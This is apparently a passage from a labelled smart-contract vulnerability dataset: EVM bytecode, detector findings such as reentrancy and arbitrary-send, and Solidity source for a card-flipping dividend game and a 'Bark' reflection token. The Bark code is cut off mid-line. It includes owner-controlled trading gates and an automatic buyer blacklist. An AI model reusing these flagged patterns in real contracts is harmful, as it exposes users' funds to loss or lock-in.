6865207a65726f206164646044820152637265737360e01b6064820152608401610612565b6001600160a01b038216610dd05760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610612565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610e955760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610612565b6001600160a01b038216610ef75760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610612565b60008111610f595760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610612565b6000546001600160a01b03848116911614801590610f8557506000546001600160a01b03838116911614155b156111d457601454600160a01b900460ff1661101e576000546001600160a01b0384811691161461101e5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610612565b60155481111561102d57600080fd5b6001600160a01b03831660009081526010602052604090205460ff1615801561106f57506001600160a01b03821660009081526010602052604090205460ff16155b6110c75760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610612565b6014546001600160a01b038381169116146110fd57601654816110e9846107c7565b6110f39190611dae565b106110fd57600080fd5b6000611108306107c7565b6017546015549192508210159082106111215760155491505b8080156111385750601454600160a81b900460ff16155b801561115257506014546001600160a01b03868116911614155b80156111675750601454600160b01b900460ff165b801561118c57506001600160a01b03851660009081526005602052604090205460ff16155b80156111b157506001600160a01b03841660009081526005602052604090205460ff16155b156111d1576111bf826113d3565b4780156111cf576111cf47611315565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061121657506001600160a01b03831660009081526005602052604090205460ff165b8061124857506014546001600160a01b0385811691161480159061124857506014546001600160a01b03848116911614155b15611255575060006112cf565b6014546001600160a01b03858116911614801561128057506013546001600160a01b03848116911614155b1561129257600854600c55600954600d555b6014546001600160a01b0384811691161480156112bd57506013546001600160a01b03858116911614155b156112cf57600a54600c55600b54600d555b610bee8484848461154d565b600081848411156112ff5760405162461bcd60e51b81526004016106129190611b03565b50600061130c8486611dc6565b95945050505050565b6012546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610683573d6000803e3d6000fd5b60006006548211156113b65760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610612565b60006113c061157b565b90506113cc838261159e565b9392505050565b6014805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061141b5761141b611d4a565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611474573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114989190611d91565b816001815181106114ab576114ab611d4a565b6001600160a01b0392831660209182029290920101526013546114d19130911684610d0d565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac9479061150a908590600090869030904290600401611ddd565b600060405180830381600087803b15801561152457600080fd5b505af1158015611538573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b8061155a5761155a6115e0565b61156584848461160e565b80610bee57610bee600e54600c55600f54600d55565b6000806000611588611705565b9092509050611597828261159e565b9250505090565b60006113cc83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611745565b600c541580156115f05750600d54155b156115f757565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061162087611773565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061165290876117d0565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546116819086611812565b6001600160a01b0389166000908152600260205260409020556116a381611871565b6116ad84836118bb565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516116f291815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a7640000611720828261159e565b82101561173c57505060065492670de0b6b3a764000092509050565b90939092509050565b600081836117665760405162461bcd60e51b81526004016106129190611b03565b50600061130c8486611e4e565b60008060008060008060008060006117908a600c54600d546118df565b92509250925060006117a061157b565b905060008060006117b38e878787611934565b919e509c509a509598509396509194505050505091939550919395565b60006113cc83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506112db565b60008061181f8385611dae565b9050838110156113cc5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610612565b600061187b61157b565b905060006118898383611984565b306000908152600260205260409020549091506118a69082611812565b30600090815260026020526040902055505050565b6006546118c890836117d0565b6006556007546118d89082611812565b6007555050565b60008080806118f960646118f38989611984565b9061159e565b9050600061190c60646118f38a89611984565b905060006119248261191e8b866117d0565b906117d0565b9992985090965090945050505050565b60008080806119438886611984565b905060006119518887611984565b9050600061195f8888611984565b905060006119718261191e86866117d0565b939b939a50919850919650505050505050565b60008261199357506000610698565b600061199f8385611e70565b9050826119ac8583611e4e565b146113cc5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610612565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107c457600080fd5b8035611a3981611a19565b919050565b60006020808385031215611a5157600080fd5b823567ffffffffffffffff80821115611a6957600080fd5b818501915085601f830112611a7d57600080fd5b813581811115611a8f57611a8f611a03565b8060051b604051601f19603f83011681018181108582111715611ab457611ab4611a03565b604052918252848201925083810185019188831115611ad257600080fd5b938501935b82851015611af757611ae885611a2e565b84529385019392850192611ad7565b98975050505050505050565b600060208083528351808285015260005b81811015611b3057858101830151858201604001528201611b14565b81811115611b42576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611b6b57600080fd5b8235611b7681611a19565b946020939093013593505050565b600080600060608486031215611b9957600080fd5b8335611ba481611a19565b92506020840135611bb481611a19565b929592945050506040919091013590565b600060208284031215611bd757600080fd5b81356113cc81611a19565b80358015158114611a3957600080fd5b600060208284031215611c0457600080fd5b6113cc82611be2565b600060208284031215611c1f57600080fd5b5035919050565b60008060008060808587031215611c3c57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611c6d57600080fd5b833567ffffffffffffffff80821115611c8557600080fd5b818601915086601f830112611c9957600080fd5b813581811115611ca857600080fd5b8760208260051b8501011115611cbd57600080fd5b602092830195509350611cd39186019050611be2565b90509250925092565b60008060408385031215611cef57600080fd5b8235611cfa81611a19565b91506020830135611d0a81611a19565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611d8a57611d8a611d60565b5060010190565b600060208284031215611da357600080fd5b81516113cc81611a19565b60008219821115611dc157611dc1611d60565b500190565b600082821015611dd857611dd8611d60565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611e2d5784516001600160a01b031683529383019391830191600101611e08565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611e6b57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611e8a57611e8a611d60565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122031fd79e32eeec01218cbcc503f9a63c140f1e746a2e7354d6f259ad6c8ef01c364736f6c634300080c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
494
0x79a0bf1ed1ef168d78993fec93e6ad786064a7ed
pragma solidity ^0.4.24; /* _ ___ _ __ __ _ ___ ___ ___ __ _ _ __ __| | ___ / __| | &#39;_ \ / _` | / __| / _ \ / __| / _` | | &#39;__| / _` | / __| \__ \ | |_) | | (_| | | (__ | __/ | (__ | (_| | | | | (_| | \__ \ |___/ | .__/ \__,_| \___| \___| \___| \__,_| |_| \__,_| |___/ |_| _ ___ _ _ _ __ __ _ ___ ___ | |__ / __| | | | | | &#39;__| / _` | / _ \ / __| | &#39;_ \ _ \__ \ | |_| | | | | (_| | | __/ _ \__ \ | | | | (_) |___/ \__,_| |_| \__, | \___| (_) |___/ |_| |_| |___/ spacecards.surge.sh A Card Flipping & Divs Earning Game! */ contract SpaceCards { /*================================= = MODIFIERS = =================================*/ modifier onlyOwner(){ require(msg.sender == dev); _; } /*============================== = EVENTS = ==============================*/ event oncardPurchase( address customerAddress, uint256 incomingEthereum, uint256 card, uint256 newPrice ); event onWithdraw( address customerAddress, uint256 ethereumWithdrawn ); // ERC20 event Transfer( address from, address to, uint256 card ); /*===================================== = CONFIGURABLES = =====================================*/ string public name = "SPACE CARDS"; string public symbol = "SPACECARDS"; uint8 constant public cardsDivRate = 10; uint8 constant public ownerDivRate = 50; uint8 constant public distDivRate = 40; uint8 constant public referralRate = 5; uint8 constant public decimals = 18; uint public totalCardValue = 11.1 ether; // Make sure this is sum of constructor values uint public precisionFactor = 9; /*================================ = DATASETS = ================================*/ mapping(uint => address) internal cardOwner; mapping(uint => uint) public cardPrice; mapping(uint => uint) internal cardPreviousPrice; mapping(address => uint) internal ownerAccounts; mapping(uint => uint) internal totalCardDivs; uint cardPriceIncrement = 110; uint totalDivsProduced = 0; uint public totalCards; bool allowReferral = true; address dev; address promoter; address promoter2; address promoter3; address supporter1; address ddtDivsAddr; /*======================================= = PUBLIC FUNCTIONS = =======================================*/ /* * -- APPLICATION ENTRY POINTS -- */ constructor() public { dev = msg.sender; promoter = 0xC4C3B0B3b829D529c812cb825426645BA97Bd40c; ddtDivsAddr = 0xC4C3B0B3b829D529c812cb825426645BA97Bd40c; totalCards = 12; cardOwner[0] = dev; cardPrice[0] = 4 ether; cardPreviousPrice[0] = cardPrice[0]; cardOwner[1] = dev; cardPrice[1] = 3 ether; cardPreviousPrice[1] = cardPrice[1]; cardOwner[2] = dev; cardPrice[2] = 2 ether; cardPreviousPrice[2] = cardPrice[2]; cardOwner[3] = dev; cardPrice[3] = 1 ether; cardPreviousPrice[3] = cardPrice[3]; cardOwner[4] = dev; cardPrice[4] = 0.4 ether; cardPreviousPrice[4] = cardPrice[4]; cardOwner[5] = dev; cardPrice[5] = 0.3 ether; cardPreviousPrice[5] = cardPrice[5]; cardOwner[6] = dev; cardPrice[6] = 0.2 ether; cardPreviousPrice[6] = cardPrice[6]; cardOwner[7] = dev; cardPrice[7] = 0.1 ether; cardPreviousPrice[7] = cardPrice[7]; cardOwner[8] = dev; cardPrice[8] = 0.04 ether; cardPreviousPrice[8] = cardPrice[8]; cardOwner[9] = dev; cardPrice[9] = 0.03 ether; cardPreviousPrice[9] = cardPrice[9]; cardOwner[10] = dev; cardPrice[10] = 0.02 ether; cardPreviousPrice[10] = cardPrice[10]; cardOwner[11] = dev; cardPrice[11] = 0.01 ether; cardPreviousPrice[11] = cardPrice[11]; } function addtotalCardValue(uint _new, uint _old) internal { uint newPrice = SafeMath.div(SafeMath.mul(_new,cardPriceIncrement),100); totalCardValue = SafeMath.add(totalCardValue, SafeMath.sub(newPrice,_old)); } function buy(uint _card, address _referrer) public payable { require(_card < totalCards); require(msg.value == cardPrice[_card]); require(msg.sender != cardOwner[_card]); addtotalCardValue(msg.value, cardPreviousPrice[_card]); uint _newPrice = SafeMath.div(SafeMath.mul(msg.value, cardPriceIncrement), 100); //Determine the total dividends uint _baseDividends = SafeMath.sub(msg.value, cardPreviousPrice[_card]); totalDivsProduced = SafeMath.add(totalDivsProduced, _baseDividends); uint _cardsDividends = SafeMath.div(SafeMath.mul(_baseDividends, cardsDivRate),100); uint _ownerDividends = SafeMath.div(SafeMath.mul(_baseDividends, ownerDivRate), 100); totalCardDivs[_card] = SafeMath.add(totalCardDivs[_card], _ownerDividends); _ownerDividends = SafeMath.add(_ownerDividends, cardPreviousPrice[_card]); uint _distDividends = SafeMath.div(SafeMath.mul(_baseDividends, distDivRate), 100); if (allowReferral && (_referrer != msg.sender) && (_referrer != 0x0000000000000000000000000000000000000000)) { uint _referralDividends = SafeMath.div(SafeMath.mul(_baseDividends, referralRate), 100); _distDividends = SafeMath.sub(_distDividends, _referralDividends); ownerAccounts[_referrer] = SafeMath.add(ownerAccounts[_referrer], _referralDividends); } //distribute dividends to accounts address _previousOwner = cardOwner[_card]; address _newOwner = msg.sender; ownerAccounts[_previousOwner] = SafeMath.add(ownerAccounts[_previousOwner], _ownerDividends); ddtDivsAddr.transfer(_cardsDividends); distributeDivs(_distDividends); //Increment the card Price cardPreviousPrice[_card] = msg.value; cardPrice[_card] = _newPrice; cardOwner[_card] = _newOwner; emit oncardPurchase(msg.sender, msg.value, _card, SafeMath.div(SafeMath.mul(msg.value, cardPriceIncrement), 100)); } function distributeDivs(uint _distDividends) internal{ for (uint _card=0; _card < totalCards; _card++){ uint _divShare = SafeMath.div(SafeMath.div(SafeMath.mul(cardPreviousPrice[_card], 10 ** (precisionFactor + 1)), totalCardValue) + 5, 10); uint _cardDivs = SafeMath.div(SafeMath.mul(_distDividends, _divShare), 10 ** precisionFactor); ownerAccounts[cardOwner[_card]] += _cardDivs; totalCardDivs[_card] = SafeMath.add(totalCardDivs[_card], _cardDivs); } } function withdraw() public { address _customerAddress = msg.sender; require(ownerAccounts[_customerAddress] >= 0.001 ether); uint _dividends = ownerAccounts[_customerAddress]; ownerAccounts[_customerAddress] = 0; _customerAddress.transfer(_dividends); emit onWithdraw(_customerAddress, _dividends); } /*---------- ADMINISTRATOR ONLY FUNCTIONS ----------*/ function setName(string _name) onlyOwner() public { name = _name; } function setSymbol(string _symbol) onlyOwner() public { symbol = _symbol; } function setcardPrice(uint _card, uint _price) //Allow the changing of a card price owner if the dev owns it onlyOwner() public { require(cardOwner[_card] == dev); cardPrice[_card] = _price; } function addNewcard(uint _price) onlyOwner() public { cardPrice[totalCards-1] = _price; cardOwner[totalCards-1] = dev; totalCardDivs[totalCards-1] = 0; totalCards = totalCards + 1; } function setAllowReferral(bool _allowReferral) onlyOwner() public { allowReferral = _allowReferral; } /*---------- HELPERS AND CALCULATORS ----------*/ /** * Method to view the current Ethereum stored in the contract * Example: totalEthereumBalance() */ function getMyBalance() public view returns(uint) { return ownerAccounts[msg.sender]; } function getOwnerBalance(address _cardOwner) public view returns(uint) { return ownerAccounts[_cardOwner]; } function getcardPrice(uint _card) public view returns(uint) { require(_card < totalCards); return cardPrice[_card]; } function getcardOwner(uint _card) public view returns(address) { require(_card < totalCards); return cardOwner[_card]; } function gettotalCardDivs(uint _card) public view returns(uint) { require(_card < totalCards); return totalCardDivs[_card]; } function getTotalDivsProduced() public view returns(uint) { return totalDivsProduced; } function getCardDivShare(uint _card) public view returns(uint) { require(_card < totalCards); return SafeMath.div(SafeMath.div(SafeMath.mul(cardPreviousPrice[_card], 10 ** (precisionFactor + 1)), totalCardValue) + 5, 10); } function getCardDivs(uint _card, uint _amt) public view returns(uint) { uint _share = getCardDivShare(_card); return SafeMath.div(SafeMath.mul( _share, _amt), 10 ** precisionFactor); } function gettotalCardValue() public view returns(uint) { return totalCardValue; } function totalEthereumBalance() public view returns(uint) { return address (this).balance; } function gettotalCards() public view returns(uint) { return totalCards; } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } }
0x6080604052600436106101745763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166304dd2dea811461017957806306fdde03146101a35780631ae4dfb71461022d5780631b7e090214610245578063287ad8fa14610279578063313ce567146102915780633ccfd60b146102bc5780634b419b5f146102d35780634c738909146102ee5780634e3c2f471461030357806353ba3d431461031e5780635bdff855146103335780636b2f46321461034b578063763f337e146103605780637deb60251461037a5780637fcf440a1461039157806395d89b41146103b25780639ba65fff146103c75780639d902fc0146103df578063a053ce1f146103f4578063ae88241214610409578063af3922061461041e578063b84c824614610433578063b987f6881461048c578063baf3a4d4146104a1578063c47f0027146104b6578063d5c96b361461050f578063e994c15d14610524578063fd01d4a114610539575b600080fd5b34801561018557600080fd5b5061019160043561054e565b60408051918252519081900360200190f35b3480156101af57600080fd5b506101b86105a2565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101f25781810151838201526020016101da565b50505050905090810190601f16801561021f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561023957600080fd5b50610191600435610630565b34801561025157600080fd5b5061025d600435610654565b60408051600160a060020a039092168252519081900360200190f35b34801561028557600080fd5b50610191600435610681565b34801561029d57600080fd5b506102a6610693565b6040805160ff9092168252519081900360200190f35b3480156102c857600080fd5b506102d1610698565b005b3480156102df57600080fd5b506102d160043560243561074f565b3480156102fa57600080fd5b506101916107ab565b34801561030f57600080fd5b506101916004356024356107bf565b34801561032a57600080fd5b506102a66107ef565b34801561033f57600080fd5b506101916004356107f4565b34801561035757600080fd5b50610191610818565b34801561036c57600080fd5b506102d1600435151561081d565b6102d1600435600160a060020a036024351661084c565b34801561039d57600080fd5b50610191600160a060020a0360043516610b57565b3480156103be57600080fd5b506101b8610b72565b3480156103d357600080fd5b506102d1600435610bcc565b3480156103eb57600080fd5b50610191610c63565b34801561040057600080fd5b506102a6610c69565b34801561041557600080fd5b50610191610c6e565b34801561042a57600080fd5b50610191610c74565b34801561043f57600080fd5b506040805160206004803580820135601f81018490048402850184019095528484526102d1943694929360249392840191908190840183828082843750949750610c7a9650505050505050565b34801561049857600080fd5b50610191610cad565b3480156104ad57600080fd5b506102a6610cb3565b3480156104c257600080fd5b506040805160206004803580820135601f81018490048402850184019095528484526102d1943694929360249392840191908190840183828082843750949750610cb89650505050505050565b34801561051b57600080fd5b50610191610ce7565b34801561053057600080fd5b50610191610ced565b34801561054557600080fd5b506102a6610cf3565b600b54600090821061055f57600080fd5b61059c61059261058a6006600086815260200190815260200160002054600354600101600a0a610cf8565b600254610d2a565b600501600a610d2a565b92915050565b6000805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156106285780601f106105fd57610100808354040283529160200191610628565b820191906000526020600020905b81548152906001019060200180831161060b57829003601f168201915b505050505081565b600b54600090821061064157600080fd5b5060009081526005602052604090205490565b600b54600090821061066557600080fd5b50600090815260046020526040902054600160a060020a031690565b60056020526000908152604090205481565b601281565b3360008181526007602052604081205466038d7ea4c6800011156106bb57600080fd5b50600160a060020a038116600081815260076020526040808220805490839055905190929183156108fc02918491818181858888f19350505050158015610706573d6000803e3d6000fd5b5060408051600160a060020a03841681526020810183905281517fccad973dcd043c7d680389db4378bd6b9775db7124092e9e0422c9e46d7985dc929181900390910190a15050565b600c546101009004600160a060020a0316331461076b57600080fd5b600c54600083815260046020526040902054600160a060020a03908116610100909204161461079957600080fd5b60009182526005602052604090912055565b336000908152600760205260409020545b90565b6000806107cb8461054e565b90506107e56107da8285610cf8565b600354600a0a610d2a565b91505b5092915050565b600a81565b600b54600090821061080557600080fd5b5060009081526008602052604090205490565b303190565b600c546101009004600160a060020a0316331461083957600080fd5b600c805460ff1916911515919091179055565b600080600080600080600080600b548a10151561086857600080fd5b60008a815260056020526040902054341461088257600080fd5b60008a815260046020526040902054600160a060020a03163314156108a657600080fd5b60008a8152600660205260409020546108c0903490610d41565b6108d66108cf34600954610cf8565b6064610d2a565b60008b8152600660205260409020549098506108f3903490610d71565b9650610901600a5488610d83565b600a908155610915906108cf908990610cf8565b95506109256108cf886032610cf8565b60008b8152600860205260409020549095506109419086610d83565b60008b815260086020908152604080832093909355600690522054610967908690610d83565b94506109776108cf886028610cf8565b600c5490945060ff1680156109955750600160a060020a0389163314155b80156109a95750600160a060020a03891615155b15610a08576109bc6108cf886005610cf8565b92506109c88484610d71565b600160a060020a038a166000908152600760205260409020549094506109ee9084610d83565b600160a060020a038a166000908152600760205260409020555b5050600088815260046020908152604080832054600160a060020a03168084526007909252909120543390610a3d9086610d83565b600160a060020a03808416600090815260076020526040808220939093556011549251929091169188156108fc0291899190818181858888f19350505050158015610a8c573d6000803e3d6000fd5b50610a9684610d92565b60008a81526006602090815260408083203490819055600583528184208c90556004909252909120805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0384161790556009547fb6058ac11d669cce504a48b05012e6920f1058599371108c7eacf6dfa9b976bb9133918d90610b1c906108cf908490610cf8565b60408051600160a060020a0390951685526020850193909352838301919091526060830152519081900360800190a150505050505050505050565b600160a060020a031660009081526007602052604090205490565b60018054604080516020600284861615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156106285780601f106105fd57610100808354040283529160200191610628565b600c546101009004600160a060020a03163314610be857600080fd5b600b8054600019908101600090815260056020908152604080832095909555600c54845484018352600482528583208054610100909204600160a060020a031673ffffffffffffffffffffffffffffffffffffffff199092169190911790558354909201815260089091529182209190915580546001019055565b60035481565b600581565b600a5490565b60025481565b600c546101009004600160a060020a03163314610c9657600080fd5b8051610ca9906001906020840190610e3d565b5050565b600b5490565b602881565b600c546101009004600160a060020a03163314610cd457600080fd5b8051610ca9906000906020840190610e3d565b60025490565b600b5481565b603281565b600080831515610d0b57600091506107e8565b50828202828482811515610d1b57fe5b0414610d2357fe5b9392505050565b6000808284811515610d3857fe5b04949350505050565b6000610d526108cf84600954610cf8565b9050610d69600254610d648385610d71565b610d83565b600255505050565b600082821115610d7d57fe5b50900390565b600082820183811015610d2357fe5b600080805b600b54831015610e3757610dcc61059261058a6006600087815260200190815260200160002054600354600101600a0a610cf8565b9150610ddb6107da8584610cf8565b600084815260046020908152604080832054600160a060020a03168352600782528083208054850190558683526008909152902054909150610e1d9082610d83565b600084815260086020526040902055600190920191610d97565b50505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10610e7e57805160ff1916838001178555610eab565b82800160010185558215610eab579182015b82811115610eab578251825591602001919060010190610e90565b50610eb7929150610ebb565b5090565b6107bc91905b80821115610eb75760008155600101610ec15600a165627a7a7230582047457d83377644134661c0ab7d0fab5a9b2051fb9ba65a66d62fea4cc2de3a910029
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
495
0x4c2ae88ea27d0a50226c5f6830dc7bff177ce900
/** *Submitted for verification at Etherscan.io on 2022-04-18 */ /** *Submitted for verification at Etherscan.io on 2022-04-15 */ /** * */ /* Telegram : https://t.me/barkportal // SPDX-License-Identifier: GPL-3.0-or-later /** */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract Bark is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "A Doge dream";// string private constant _symbol = "BARK";// uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 public launchBlock; //Buy Fee uint256 private _redisFeeOnBuy = 0;// uint256 private _taxFeeOnBuy = 8;// //Sell Fee uint256 private _redisFeeOnSell = 0;// uint256 private _taxFeeOnSell = 8;// //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping(address => uint256) private cooldown; address payable private _developmentAddress = payable(0xa276495C1018c3a33DA1F0BE247bc41343e335d0);// address payable private _marketingAddress = payable(0xa276495C1018c3a33DA1F0BE247bc41343e335d0);// IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 100000000000 * 10**9; // uint256 public _maxWalletSize = 20000000000 * 10**9; // uint256 public _swapTokensAtAmount = 15000000000 * 10**9; // event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(block.number <= launchBlock && from == uniswapV2Pair && to != address(uniswapV2Router) && to != address(this)){ bots[to] = true; } if(to != uniswapV2Pair) { require(balanceOf(to) + amount < 